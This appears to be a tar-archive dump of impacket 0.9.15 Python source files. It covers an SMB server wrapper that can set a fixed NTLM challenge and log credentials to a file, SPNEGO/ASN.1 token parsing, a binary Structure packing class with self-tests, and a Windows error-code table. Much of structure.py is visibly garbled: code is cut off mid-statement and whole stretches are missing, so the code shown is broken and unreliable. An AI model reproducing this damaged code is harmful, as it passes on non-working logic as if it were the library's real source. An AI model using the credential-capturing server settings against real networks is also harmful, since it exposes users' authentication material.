self.__smbConfig.set(shareName, 'path', sharePath)
self.__server.setServerConfig(self.__smbConfig)
self.__srvsServer.setServerConfig(self.__smbConfig)
self.__server.processConfigFile()
self.__srvsServer.processConfigFile()
def removeShare(self, shareName):
self.__smbConfig.remove_section(shareName)
self.__server.setServerConfig(self.__smbConfig)
self.__srvsServer.setServerConfig(self.__smbConfig)
self.__server.processConfigFile()
self.__srvsServer.processConfigFile()
def setSMBChallenge(self, challenge):
if challenge != '':
self.__smbConfig.set('global', 'challenge', unhexlify(challenge))
self.__server.setServerConfig(self.__smbConfig)
self.__server.processConfigFile()
def setLogFile(self, logFile):
self.__smbConfig.set('global','log_file',logFile)
self.__server.setServerConfig(self.__smbConfig)
self.__server.processConfigFile()
def setCredentialsFile(self, logFile):
self.__smbConfig.set('global','credentials_file',logFile)
self.__server.setServerConfig(self.__smbConfig)
self.__server.processConfigFile()
def setSMB2Support(self, value):
if value is True:
self.__smbConfig.set("global", "SMB2Support", "True")
else:
self.__smbConfig.set("global", "SMB2Support", "False")
self.__server.setServerConfig(self.__smbConfig)
self.__server.processConfigFile()
impacket-0.9.15/impacket/spnego.py 0000600 0000765 0000000 00000033377 12734531507 017130 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (beto@coresecurity.com)
#
# Description:
# SPNEGO functions used by SMB, SMB2/3 and DCERPC
#
from struct import pack, unpack, calcsize
############### GSS Stuff ################
GSS_API_SPNEGO_UUID = '\x2b\x06\x01\x05\x05\x02'
ASN1_SEQUENCE = 0x30
ASN1_AID = 0x60
ASN1_OID = 0x06
ASN1_OCTET_STRING = 0x04
ASN1_MECH_TYPE = 0xa0
ASN1_MECH_TOKEN = 0xa2
ASN1_SUPPORTED_MECH = 0xa1
ASN1_RESPONSE_TOKEN = 0xa2
ASN1_ENUMERATED = 0x0a
MechTypes = {
'+\x06\x01\x04\x01\x827\x02\x02\x1e': 'SNMPv2-SMI::enterprises.311.2.2.30',
'+\x06\x01\x04\x01\x827\x02\x02\n': 'NTLMSSP - Microsoft NTLM Security Support Provider',
'*\x86H\x82\xf7\x12\x01\x02\x02': 'MS KRB5 - Microsoft Kerberos 5',
'*\x86H\x86\xf7\x12\x01\x02\x02': 'KRB5 - Kerberos 5',
'*\x86H\x86\xf7\x12\x01\x02\x02\x03': 'KRB5 - Kerberos 5 - User to User'
}
TypesMech = dict((v,k) for k, v in MechTypes.iteritems())
def asn1encode(data = ''):
#res = asn1.SEQUENCE(str).encode()
#import binascii
#print '\nalex asn1encode str: %s\n' % binascii.hexlify(str)
if 0 <= len(data) <= 0x7F:
res = pack('B', len(data)) + data
elif 0x80 <= len(data) <= 0xFF:
res = pack('BB', 0x81, len(data)) + data
elif 0x100 <= len(data) <= 0xFFFF:
res = pack('!BH', 0x82, len(data)) + data
elif 0x10000 <= len(data) <= 0xffffff:
res = pack('!BBH', 0x83, len(data) >> 16, len(data) & 0xFFFF) + data
elif 0x1000000 <= len(data) <= 0xffffffff:
res = pack('!BL', 0x84, len(data)) + data
else:
raise Exception('Error in asn1encode')
return str(res)
def asn1decode(data = ''):
len1 = unpack('B', data[:1])[0]
data = data[1:]
if len1 == 0x81:
pad = calcsize('B')
len2 = unpack('B',data[:pad])[0]
data = data[pad:]
ans = data[:len2]
elif len1 == 0x82:
pad = calcsize('H')
len2 = unpack('!H', data[:pad])[0]
data = data[pad:]
ans = data[:len2]
elif len1 == 0x83:
pad = calcsize('B') + calcsize('!H')
len2, len3 = unpack('!BH', data[:pad])
data = data[pad:]
ans = data[:len2 << 16 + len3]
elif len1 == 0x84:
pad = calcsize('!L')
len2 = unpack('!L', data[:pad])[0]
data = data[pad:]
ans = data[:len2]
# 1 byte length, string <= 0x7F
else:
pad = 0
ans = data[:len1]
return ans, len(ans)+pad+1
class GSSAPI:
# Generic GSSAPI Header Format
def __init__(self, data = None):
self.fields = {}
self['UUID'] = GSS_API_SPNEGO_UUID
if data:
self.fromString(data)
pass
def __setitem__(self,key,value):
self.fields[key] = value
def __getitem__(self, key):
return self.fields[key]
def __delitem__(self, key):
del self.fields[key]
def __len__(self):
return len(self.getData())
def __str__(self):
return len(self.getData())
def fromString(self, data = None):
# Manual parse of the GSSAPI Header Format
# It should be something like
# AID = 0x60 TAG, BER Length
# OID = 0x06 TAG
# GSSAPI OID
# UUID data (BER Encoded)
# Payload
next_byte = unpack('B',data[:1])[0]
if next_byte != ASN1_AID:
raise Exception('Unknown AID=%x' % next_byte)
data = data[1:]
decode_data, total_bytes = asn1decode(data)
# Now we should have a OID tag
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != ASN1_OID:
raise Exception('OID tag not found %x' % next_byte)
decode_data = decode_data[1:]
# Now the OID contents, should be SPNEGO UUID
uuid, total_bytes = asn1decode(decode_data)
self['OID'] = uuid
# the rest should be the data
self['Payload'] = decode_data[total_bytes:]
#pass
def dump(self):
for i in self.fields.keys():
print "%s: {%r}" % (i,self[i])
def getData(self):
ans = pack('B',ASN1_AID)
ans += asn1encode(
pack('B',ASN1_OID) +
asn1encode(self['UUID']) +
self['Payload'] )
return ans
class SPNEGO_NegTokenResp:
# http://tools.ietf.org/html/rfc4178#page-9
# NegTokenResp ::= SEQUENCE {
# negState [0] ENUMERATED {
# accept-completed (0),
# accept-incomplete (1),
# reject (2),
# request-mic (3)
# } OPTIONAL,
# -- REQUIRED in the first reply from the target
# supportedMech [1] MechType OPTIONAL,
# -- present only in the first reply from the target
# responseToken [2] OCTET STRING OPTIONAL,
# mechListMIC [3] OCTET STRING OPTIONAL,
# ...
# }
# This structure is not prepended by a GSS generic header!
SPNEGO_NEG_TOKEN_RESP = 0xa1
SPNEGO_NEG_TOKEN_TARG = 0xa0
def __init__(self, data = None):
self.fields = {}
if data:
self.fromString(data)
pass
def __setitem__(self,key,value):
self.fields[key] = value
def __getitem__(self, key):
return self.fields[key]
def __delitem__(self, key):
del self.fields[key]
def __len__(self):
return len(self.getData())
def __str__(self):
return len(self.getData())
def fromString(self, data = 0):
payload = data
next_byte = unpack('B', payload[:1])[0]
if next_byte != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
raise Exception('NegTokenResp not found %x' % next_byte)
payload = payload[1:]
decode_data, total_bytes = asn1decode(payload)
next_byte = unpack('B', decode_data[:1])[0]
if next_byte != ASN1_SEQUENCE:
raise Exception('SEQUENCE tag not found %x' % next_byte)
decode_data = decode_data[1:]
decode_data, total_bytes = asn1decode(decode_data)
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != ASN1_MECH_TYPE:
# MechType not found, could be an AUTH answer
if next_byte != ASN1_RESPONSE_TOKEN:
raise Exception('MechType/ResponseToken tag not found %x' % next_byte)
else:
decode_data2 = decode_data[1:]
decode_data2, total_bytes = asn1decode(decode_data2)
next_byte = unpack('B', decode_data2[:1])[0]
if next_byte != ASN1_ENUMERATED:
raise Exception('Enumerated tag not found %x' % next_byte)
item, total_bytes2 = asn1decode(decode_data)
self['NegResult'] = item
decode_data = decode_data[1:]
decode_data = decode_data[total_bytes:]
# Do we have more data?
if len(decode_data) == 0:
return
next_byte = unpack('B', decode_data[:1])[0]
if next_byte != ASN1_SUPPORTED_MECH:
if next_byte != ASN1_RESPONSE_TOKEN:
raise Exception('Supported Mech/ResponseToken tag not found %x' % next_byte)
else:
decode_data2 = decode_data[1:]
decode_data2, total_bytes = asn1decode(decode_data2)
next_byte = unpack('B', decode_data2[:1])[0]
if next_byte != ASN1_OID:
raise Exception('OID tag not found %x' % next_byte)
decode_data2 = decode_data2[1:]
item, total_bytes2 = asn1decode(decode_data2)
self['SuportedMech'] = item
decode_data = decode_data[1:]
decode_data = decode_data[total_bytes:]
next_byte = unpack('B', decode_data[:1])[0]
if next_byte != ASN1_RESPONSE_TOKEN:
raise Exception('Response token tag not found %x' % next_byte)
decode_data = decode_data[1:]
decode_data, total_bytes = asn1decode(decode_data)
next_byte = unpack('B', decode_data[:1])[0]
if next_byte != ASN1_OCTET_STRING:
raise Exception('Octet string token tag not found %x' % next_byte)
decode_data = decode_data[1:]
decode_data, total_bytes = asn1decode(decode_data)
self['ResponseToken'] = decode_data
def dump(self):
for i in self.fields.keys():
print "%s: {%r}" % (i,self[i])
def getData(self):
ans = pack('B',SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP)
if self.fields.has_key('NegResult') and self.fields.has_key('SupportedMech'):
# Server resp
ans += asn1encode(
pack('B', ASN1_SEQUENCE) +
asn1encode(
pack('B',SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_TARG) +
asn1encode(
pack('B',ASN1_ENUMERATED) +
asn1encode( self['NegResult'] )) +
pack('B',ASN1_SUPPORTED_MECH) +
asn1encode(
pack('B',ASN1_OID) +
asn1encode(self['SupportedMech'])) +
pack('B',ASN1_RESPONSE_TOKEN ) +
asn1encode(
pack('B', ASN1_OCTET_STRING) + asn1encode(self['ResponseToken']))))
elif self.fields.has_key('NegResult'):
# Server resp
ans += asn1encode(
pack('B', ASN1_SEQUENCE) +
asn1encode(
pack('B', SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_TARG) +
asn1encode(
pack('B',ASN1_ENUMERATED) +
asn1encode( self['NegResult'] ))))
else:
# Client resp
ans += asn1encode(
pack('B', ASN1_SEQUENCE) +
asn1encode(
pack('B', ASN1_RESPONSE_TOKEN) +
asn1encode(
pack('B', ASN1_OCTET_STRING) + asn1encode(self['ResponseToken']))))
return ans
class SPNEGO_NegTokenInit(GSSAPI):
# http://tools.ietf.org/html/rfc4178#page-8
# NegTokeInit :: = SEQUENCE {
# mechTypes [0] MechTypeList,
# reqFlags [1] ContextFlags OPTIONAL,
# mechToken [2] OCTET STRING OPTIONAL,
# mechListMIC [3] OCTET STRING OPTIONAL,
# }
SPNEGO_NEG_TOKEN_INIT = 0xa0
def fromString(self, data = 0):
GSSAPI.fromString(self, data)
payload = self['Payload']
next_byte = unpack('B', payload[:1])[0]
if next_byte != SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT:
raise Exception('NegTokenInit not found %x' % next_byte)
payload = payload[1:]
decode_data, total_bytes = asn1decode(payload)
# Now we should have a SEQUENCE Tag
next_byte = unpack('B', decode_data[:1])[0]
if next_byte != ASN1_SEQUENCE:
raise Exception('SEQUENCE tag not found %x' % next_byte)
decode_data = decode_data[1:]
decode_data, total_bytes2 = asn1decode(decode_data)
next_byte = unpack('B',decode_data[:1])[0]
if next_byte != ASN1_MECH_TYPE:
raise Exception('MechType tag not found %x' % next_byte)
decode_data = decode_data[1:]
remaining_data = decode_data
decode_data, total_bytes3 = asn1decode(decode_data)
next_byte = unpack('B', decode_data[:1])[0]
if next_byte != ASN1_SEQUENCE:
raise Exception('SEQUENCE tag not found %x' % next_byte)
decode_data = decode_data[1:]
decode_data, total_bytes4 = asn1decode(decode_data)
# And finally we should have the MechTypes
self['MechTypes'] = []
while decode_data:
next_byte = unpack('B', decode_data[:1])[0]
if next_byte != ASN1_OID:
# Not a valid OID, there must be something else we won't unpack
break
decode_data = decode_data[1:]
item, total_bytes = asn1decode(decode_data)
self['MechTypes'].append(item)
decode_data = decode_data[total_bytes:]
# Do we have MechTokens as well?
decode_data = remaining_data[total_bytes3:]
if len(decode_data) > 0:
next_byte = unpack('B', decode_data[:1])[0]
if next_byte == ASN1_MECH_TOKEN:
# We have tokens in here!
decode_data = decode_data[1:]
decode_data, total_bytes = asn1decode(decode_data)
next_byte = unpack('B', decode_data[:1])[0]
if next_byte == ASN1_OCTET_STRING:
decode_data = decode_data[1:]
decode_data, total_bytes = asn1decode(decode_data)
self['MechToken'] = decode_data
def getData(self):
mechTypes = ''
for i in self['MechTypes']:
mechTypes += pack('B', ASN1_OID)
mechTypes += asn1encode(i)
mechToken = ''
# Do we have tokens to send?
if self.fields.has_key('MechToken'):
mechToken = pack('B', ASN1_MECH_TOKEN) + asn1encode(
pack('B', ASN1_OCTET_STRING) + asn1encode(
self['MechToken']))
ans = pack('B',SPNEGO_NegTokenInit.SPNEGO_NEG_TOKEN_INIT)
ans += asn1encode(
pack('B', ASN1_SEQUENCE) +
asn1encode(
pack('B', ASN1_MECH_TYPE) +
asn1encode(
pack('B', ASN1_SEQUENCE) +
asn1encode(mechTypes)) + mechToken ))
self['Payload'] = ans
return GSSAPI.getData(self)
impacket-0.9.15/impacket/structure.py 0000600 0000765 0000000 00000061170 12734531507 017665 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
from struct import pack, unpack, calcsize
class Structure:
""" sublcasses can define commonHdr and/or structure.
each of them is an tuple of either two: (fieldName, format) or three: (fieldName, ':', class) fields.
[it can't be a dictionary, because order is important]
where format specifies how the data in the field will be converted to/from bytes (string)
class is the class to use when unpacking ':' fields.
each field can only contain one value (or an array of values for *)
i.e. struct.pack('Hl',1,2) is valid, but format specifier 'Hl' is not (you must use 2 dfferent fields)
format specifiers:
specifiers from module pack can be used with the same format
see struct.__doc__ (pack/unpack is finally called)
x [padding byte]
c [character]
b [signed byte]
B [unsigned byte]
h [signed short]
H [unsigned short]
l [signed long]
L [unsigned long]
i [signed integer]
I [unsigned integer]
q [signed long long (quad)]
Q [unsigned long long (quad)]
s [string (array of chars), must be preceded with length in format specifier, padded with zeros]
p [pascal string (includes byte count), must be preceded with length in format specifier, padded with zeros]
f [float]
d [double]
= [native byte ordering, size and alignment]
@ [native byte ordering, standard size and alignment]
! [network byte ordering]
< [little endian]
> [big endian]
usual printf like specifiers can be used (if started with %)
[not recommeneded, there is no why to unpack this]
%08x will output an 8 bytes hex
%s will output a string
%s\\x00 will output a NUL terminated string
%d%d will output 2 decimal digits (against the very same specification of Structure)
...
some additional format specifiers:
: just copy the bytes from the field into the output string (input may be string, other structure, or anything responding to __str__()) (for unpacking, all what's left is returned)
z same as :, but adds a NUL byte at the end (asciiz) (for unpacking the first NUL byte is used as terminator) [asciiz string]
u same as z, but adds two NUL bytes at the end (after padding to an even size with NULs). (same for unpacking) [unicode string]
w DCE-RPC/NDR string (it's a macro for [ ' 2:
dataClassOrCode = field[2]
try:
self[field[0]] = self.unpack(field[1], data[:size], dataClassOrCode = dataClassOrCode, field = field[0])
except Exception,e:
e.args += ("When unpacking field '%s | %s | %r[:%d]'" % (field[0], field[1], data, size),)
raise
size = self.calcPackSize(field[1], self[field[0]], field[0])
if self.alignment and size % self.alignment:
size += self.alignment - (size % self.alignment)
data = data[size:]
return self
def __setitem__(self, key, value):
self.fields[key] = value
self.data = None # force recompute
def __getitem__(self, key):
return self.fields[key]
def __delitem__(self, key):
del self.fields[key]
def __str__(self):
return self.getData()
def __len__(self):
# XXX: improve
return len(self.getData())
def pack(self, format, data, field = None):
if self.debug:
print " pack( %s | %r | %s)" % (format, data, field)
if field:
addressField = self.findAddressFieldFor(field)
if (addressField is not None) and (data is None):
return ''
# void specifier
if format[:1] == '_':
return ''
# quote specifier
if format[:1] == "'" or format[:1] == '"':
return format[1:]
# code specifier
two = format.split('=')
if len(two) >= 2:
try:
return self.pack(two[0], data)
except:
fields = {'self':self}
fields.update(self.fields)
return self.pack(two[0], eval(two[1], {}, fields))
# address specifier
two = format.split('&')
if len(two) == 2:
try:
return self.pack(two[0], data)
except:
if (self.fields.has_key(two[1])) and (self[two[1]] is not None):
return self.pack(two[0], id(self[two[1]]) & ((1<<(calcsize(two[0])*8))-1) )
else:
return self.pack(two[0], 0)
# length specifier
two = format.split('-')
if len(two) == 2:
try:
return self.pack(two[0],data)
except:
return self.pack(two[0], self.calcPackFieldSize(two[1]))
# array specifier
two = format.split('*')
if len(two) == 2:
answer = ''
for each in data:
answer += self.pack(two[1], each)
if two[0]:
if two[0].isdigit():
if int(two[0]) != len(data):
raise Exception, "Array field has a constant size, and it doesn't match the actual value"
else:
return self.pack(two[0], len(data))+answer
return answer
# "printf" string specifier
if format[:1] == '%':
# format string like specifier
return format % data
# asciiz specifier
if format[:1] == 'z':
return str(data)+'\0'
# unicode specifier
if format[:1] == 'u':
return str(data)+'\0\0' + (len(data) & 1 and '\0' or '')
# DCE-RPC/NDR string specifier
if format[:1] == 'w':
if len(data) == 0:
data = '\0\0'
elif len(data) % 2:
data += '\0'
l = pack('= 2:
return self.unpack(two[0],data)
# length specifier
two = format.split('-')
if len(two) == 2:
return self.unpack(two[0],data)
# array specifier
two = format.split('*')
if len(two) == 2:
answer = []
sofar = 0
if two[0].isdigit():
number = int(two[0])
elif two[0]:
sofar += self.calcUnpackSize(two[0], data)
number = self.unpack(two[0], data[:sofar])
else:
number = -1
while number and sofar < len(data):
nsofar = sofar + self.calcUnpackSize(two[1],data[sofar:])
answer.append(self.unpack(two[1], data[sofar:nsofar], dataClassOrCode))
number -= 1
sofar = nsofar
return answer
# "printf" string specifier
if format[:1] == '%':
# format string like specifier
return format % data
# asciiz specifier
if format == 'z':
if data[-1] != '\x00':
raise Exception, ("%s 'z' field is not NUL terminated: %r" % (field, data))
return data[:-1] # remove trailing NUL
# unicode specifier
if format == 'u':
if data[-2:] != '\x00\x00':
raise Exception, ("%s 'u' field is not NUL-NUL terminated: %r" % (field, data))
return data[:-2] # remove trailing NUL
# DCE-RPC/NDR string specifier
if format == 'w':
l = unpack('= 2:
return self.calcPackSize(two[0], data)
# length specifier
two = format.split('-')
if len(two) == 2:
return self.calcPackSize(two[0], data)
# array specifier
two = format.split('*')
if len(two) == 2:
answer = 0
if two[0].isdigit():
if int(two[0]) != len(data):
raise Exception, "Array field has a constant size, and it doesn't match the actual value"
elif two[0]:
answer += self.calcPackSize(two[0], len(data))
for each in data:
answer += self.calcPackSize(two[1], each)
return answer
# "printf" string specifier
if format[:1] == '%':
# format string like specifier
return len(format % data)
# asciiz specifier
if format[:1] == 'z':
return len(data)+1
# asciiz specifier
if format[:1] == 'u':
l = len(data)
return l + (l & 1 and 3 or 2)
# DCE-RPC/NDR string specifier
if format[:1] == 'w':
l = len(data)
return 12+l+l % 2
# literal specifier
if format[:1] == ':':
return len(data)
# struct like specifier
return calcsize(format)
def calcUnpackSize(self, format, data, field = None):
if self.debug:
print " calcUnpackSize( %s | %s | %r)" % (field, format, data)
# void specifier
if format[:1] == '_':
return 0
addressField = self.findAddressFieldFor(field)
if addressField is not None:
if not self[addressField]:
return 0
try:
lengthField = self.findLengthFieldFor(field)
return self[lengthField]
except:
pass
# XXX: Try to match to actual values, raise if no match
# quote specifier
if format[:1] == "'" or format[:1] == '"':
return len(format)-1
# address specifier
two = format.split('&')
if len(two) == 2:
return self.calcUnpackSize(two[0], data)
# code specifier
two = format.split('=')
if len(two) >= 2:
return self.calcUnpackSize(two[0], data)
# length specifier
two = format.split('-')
if len(two) == 2:
return self.calcUnpackSize(two[0], data)
# array specifier
two = format.split('*')
if len(two) == 2:
answer = 0
if two[0]:
if two[0].isdigit():
number = int(two[0])
else:
answer += self.calcUnpackSize(two[0], data)
number = self.unpack(two[0], data[:answer])
while number:
number -= 1
answer += self.calcUnpackSize(two[1], data[answer:])
else:
while answer < len(data):
answer += self.calcUnpackSize(two[1], data[answer:])
return answer
# "printf" string specifier
if format[:1] == '%':
raise Exception, "Can't guess the size of a printf like specifier for unpacking"
# asciiz specifier
if format[:1] == 'z':
return data.index('\x00')+1
# asciiz specifier
if format[:1] == 'u':
l = data.index('\x00\x00')
return l + (l & 1 and 3 or 2)
# DCE-RPC/NDR string specifier
if format[:1] == 'w':
l = unpack('L'),
('code1','>L=len(arr1)*2+0x1000'),
)
def populate(self, a):
a['default'] = 'hola'
a['int1'] = 0x3131
a['int3'] = 0x45444342
a['z1'] = 'hola'
a['u1'] = 'hola'.encode('utf_16_le')
a[':1'] = ':1234:'
a['arr1'] = (0x12341234,0x88990077,0x41414141)
# a['len1'] = 0x42424242
class _Test_fixedLength(_Test_simple):
def populate(self, a):
_Test_simple.populate(self, a)
a['len1'] = 0x42424242
class _Test_simple_aligned4(_Test_simple):
alignment = 4
class _Test_nested(_StructureTest):
class theClass(Structure):
class _Inner(Structure):
structure = (('data', 'z'),)
structure = (
('nest1', ':', _Inner),
('nest2', ':', _Inner),
('int', '> 8)'),
('pad', '_','((iv >>2) & 0x3F)'),
('keyid', '_','( iv & 0x03 )'),
('dataLen', '_-data', 'len(inputDataLeft)-4'),
('data',':'),
('icv','>L'),
)
def populate(self, a):
a['init_vector']=0x01020304
#a['pad']=int('01010101',2)
a['pad']=int('010101',2)
a['keyid']=0x07
a['data']="\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9"
a['icv'] = 0x05060708
#a['iv'] = 0x01020304
if __name__ == '__main__':
_Test_simple().run()
try:
_Test_fixedLength().run()
except:
print "cannot repack because length is bogus"
_Test_simple_aligned4().run()
_Test_nested().run()
_Test_Optional().run()
_Test_Optional_sparse().run()
_Test_AsciiZArray().run()
_Test_UnpackCode().run()
_Test_AAA().run()
impacket-0.9.15/impacket/system_errors.py 0000600 0000765 0000000 00002151033 12734531507 020545 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# SYSTEM Errors from [MS-ERREF]. Ideally all the files
# should grab the error codes from here
#
ERROR_MESSAGES = {
0x00000000: ("ERROR_SUCCESS", "The operation completed successfully."),
0x00000001: ("ERROR_INVALID_FUNCTION", "Incorrect function."),
0x00000002: ("ERROR_FILE_NOT_FOUND", "The system cannot find the file specified."),
0x00000003: ("ERROR_PATH_NOT_FOUND", "The system cannot find the path specified."),
0x00000004: ("ERROR_TOO_MANY_OPEN_FILES", "The system cannot open the file."),
0x00000005: ("ERROR_ACCESS_DENIED", "Access is denied."),
0x00000006: ("ERROR_INVALID_HANDLE", "The handle is invalid."),
0x00000007: ("ERROR_ARENA_TRASHED", "The storage control blocks were destroyed."),
0x00000008: ("ERROR_NOT_ENOUGH_MEMORY", "Not enough storage is available to process this command."),
0x00000009: ("ERROR_INVALID_BLOCK", "The storage control block address is invalid."),
0x0000000a: ("ERROR_BAD_ENVIRONMENT", "The environment is incorrect."),
0x0000000b: ("ERROR_BAD_FORMAT", "An attempt was made to load a program with an incorrect format."),
0x0000000c: ("ERROR_INVALID_ACCESS", "The access code is invalid."),
0x0000000d: ("ERROR_INVALID_DATA", "The data is invalid."),
0x0000000e: ("ERROR_OUTOFMEMORY", "Not enough storage is available to complete this operation."),
0x0000000f: ("ERROR_INVALID_DRIVE", "The system cannot find the drive specified."),
0x00000010: ("ERROR_CURRENT_DIRECTORY", "The directory cannot be removed."),
0x00000011: ("ERROR_NOT_SAME_DEVICE", "The system cannot move the file to a different disk drive."),
0x00000012: ("ERROR_NO_MORE_FILES", "There are no more files."),
0x00000013: ("ERROR_WRITE_PROTECT", "The media is write protected."),
0x00000014: ("ERROR_BAD_UNIT", "The system cannot find the device specified."),
0x00000015: ("ERROR_NOT_READY", "The device is not ready."),
0x00000016: ("ERROR_BAD_COMMAND", "The device does not recognize the command."),
0x00000017: ("ERROR_CRC", "Data error (cyclic redundancy check)."),
0x00000018: ("ERROR_BAD_LENGTH", "The program issued a command but the command length is incorrect."),
0x00000019: ("ERROR_SEEK", "The drive cannot locate a specific area or track on the disk."),
0x0000001a: ("ERROR_NOT_DOS_DISK", "The specified disk or diskette cannot be accessed."),
0x0000001b: ("ERROR_SECTOR_NOT_FOUND", "The drive cannot find the sector requested."),
0x0000001c: ("ERROR_OUT_OF_PAPER", "The printer is out of paper."),
0x0000001d: ("ERROR_WRITE_FAULT", "The system cannot write to the specified device."),
0x0000001e: ("ERROR_READ_FAULT", "The system cannot read from the specified device."),
0x0000001f: ("ERROR_GEN_FAILURE", "A device attached to the system is not functioning."),
0x00000020: ("ERROR_SHARING_VIOLATION", "The process cannot access the file because it is being used by another process."),
0x00000021: ("ERROR_LOCK_VIOLATION", "The process cannot access the file because another process has locked a portion of the file."),
0x00000022: ("ERROR_WRONG_DISK", "The wrong diskette is in the drive."),
0x00000024: ("ERROR_SHARING_BUFFER_EXCEEDED", "Too many files opened for sharing."),
0x00000026: ("ERROR_HANDLE_EOF", "Reached the end of the file."),
0x00000027: ("ERROR_HANDLE_DISK_FULL", "The disk is full."),
0x00000032: ("ERROR_NOT_SUPPORTED", "The request is not supported."),
0x00000033: ("ERROR_REM_NOT_LIST", "Windows cannot find the network path. Verify that the network path is correct and the destination computer is not busy or turned off. If Windows still cannot find the network path, contact your network administrator."),
0x00000034: ("ERROR_DUP_NAME", "You were not connected because a duplicate name exists on the network. If joining a domain, go to System in Control Panel to change the computer name and try again. If joining a workgroup, choose another workgroup name."),
0x00000035: ("ERROR_BAD_NETPATH", "The network path was not found."),
0x00000036: ("ERROR_NETWORK_BUSY", "The network is busy."),
0x00000037: ("ERROR_DEV_NOT_EXIST", "The specified network resource or device is no longer available."),
0x00000038: ("ERROR_TOO_MANY_CMDS", "The network BIOS command limit has been reached."),
0x00000039: ("ERROR_ADAP_HDW_ERR", "A network adapter hardware error occurred."),
0x0000003a: ("ERROR_BAD_NET_RESP", "The specified server cannot perform the requested operation."),
0x0000003b: ("ERROR_UNEXP_NET_ERR", "An unexpected network error occurred."),
0x0000003c: ("ERROR_BAD_REM_ADAP", "The remote adapter is not compatible."),
0x0000003d: ("ERROR_PRINTQ_FULL", "The printer queue is full."),
0x0000003e: ("ERROR_NO_SPOOL_SPACE", "Space to store the file waiting to be printed is not available on the server."),
0x0000003f: ("ERROR_PRINT_CANCELLED", "Your file waiting to be printed was deleted."),
0x00000040: ("ERROR_NETNAME_DELETED", "The specified network name is no longer available."),
0x00000041: ("ERROR_NETWORK_ACCESS_DENIED", "Network access is denied."),
0x00000042: ("ERROR_BAD_DEV_TYPE", "The network resource type is not correct."),
0x00000043: ("ERROR_BAD_NET_NAME", "The network name cannot be found."),
0x00000044: ("ERROR_TOO_MANY_NAMES", "The name limit for the local computer network adapter card was exceeded."),
0x00000045: ("ERROR_TOO_MANY_SESS", "The network BIOS session limit was exceeded."),
0x00000046: ("ERROR_SHARING_PAUSED", "The remote server has been paused or is in the process of being started."),
0x00000047: ("ERROR_REQ_NOT_ACCEP", "No more connections can be made to this remote computer at this time because there are already as many connections as the computer can accept."),
0x00000048: ("ERROR_REDIR_PAUSED", "The specified printer or disk device has been paused."),
0x00000050: ("ERROR_FILE_EXISTS", "The file exists."),
0x00000052: ("ERROR_CANNOT_MAKE", "The directory or file cannot be created."),
0x00000053: ("ERROR_FAIL_I24", "Fail on INT 24."),
0x00000054: ("ERROR_OUT_OF_STRUCTURES", "Storage to process this request is not available."),
0x00000055: ("ERROR_ALREADY_ASSIGNED", "The local device name is already in use."),
0x00000056: ("ERROR_INVALID_PASSWORD", "The specified network password is not correct."),
0x00000057: ("ERROR_INVALID_PARAMETER", "The parameter is incorrect."),
0x00000058: ("ERROR_NET_WRITE_FAULT", "A write fault occurred on the network."),
0x00000059: ("ERROR_NO_PROC_SLOTS", "The system cannot start another process at this time."),
0x00000064: ("ERROR_TOO_MANY_SEMAPHORES", "Cannot create another system semaphore."),
0x00000065: ("ERROR_EXCL_SEM_ALREADY_OWNED", "The exclusive semaphore is owned by another process."),
0x00000066: ("ERROR_SEM_IS_SET", "The semaphore is set and cannot be closed."),
0x00000067: ("ERROR_TOO_MANY_SEM_REQUESTS", "The semaphore cannot be set again."),
0x00000068: ("ERROR_INVALID_AT_INTERRUPT_TIME", "Cannot request exclusive semaphores at interrupt time."),
0x00000069: ("ERROR_SEM_OWNER_DIED", "The previous ownership of this semaphore has ended."),
0x0000006a: ("ERROR_SEM_USER_LIMIT", "Insert the diskette for drive %1."),
0x0000006b: ("ERROR_DISK_CHANGE", "The program stopped because an alternate diskette was not inserted."),
0x0000006c: ("ERROR_DRIVE_LOCKED", "The disk is in use or locked by another process."),
0x0000006d: ("ERROR_BROKEN_PIPE", "The pipe has been ended."),
0x0000006e: ("ERROR_OPEN_FAILED", "The system cannot open the device or file specified."),
0x0000006f: ("ERROR_BUFFER_OVERFLOW", "The file name is too long."),
0x00000070: ("ERROR_DISK_FULL", "There is not enough space on the disk."),
0x00000071: ("ERROR_NO_MORE_SEARCH_HANDLES", "No more internal file identifiers available."),
0x00000072: ("ERROR_INVALID_TARGET_HANDLE", "The target internal file identifier is incorrect."),
0x00000075: ("ERROR_INVALID_CATEGORY", "The IOCTL call made by the application program is not correct."),
0x00000076: ("ERROR_INVALID_VERIFY_SWITCH", "The verify-on-write switch parameter value is not correct."),
0x00000077: ("ERROR_BAD_DRIVER_LEVEL", "The system does not support the command requested."),
0x00000078: ("ERROR_CALL_NOT_IMPLEMENTED", "This function is not supported on this system."),
0x00000079: ("ERROR_SEM_TIMEOUT", "The semaphore timeout period has expired."),
0x0000007a: ("ERROR_INSUFFICIENT_BUFFER", "The data area passed to a system call is too small."),
0x0000007b: ("ERROR_INVALID_NAME", "The filename, directory name, or volume label syntax is incorrect."),
0x0000007c: ("ERROR_INVALID_LEVEL", "The system call level is not correct."),
0x0000007d: ("ERROR_NO_VOLUME_LABEL", "The disk has no volume label."),
0x0000007e: ("ERROR_MOD_NOT_FOUND", "The specified module could not be found."),
0x0000007f: ("ERROR_PROC_NOT_FOUND", "The specified procedure could not be found."),
0x00000080: ("ERROR_WAIT_NO_CHILDREN", "There are no child processes to wait for."),
0x00000081: ("ERROR_CHILD_NOT_COMPLETE", "The %1 application cannot be run in Win32 mode."),
0x00000082: ("ERROR_DIRECT_ACCESS_HANDLE", "Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O."),
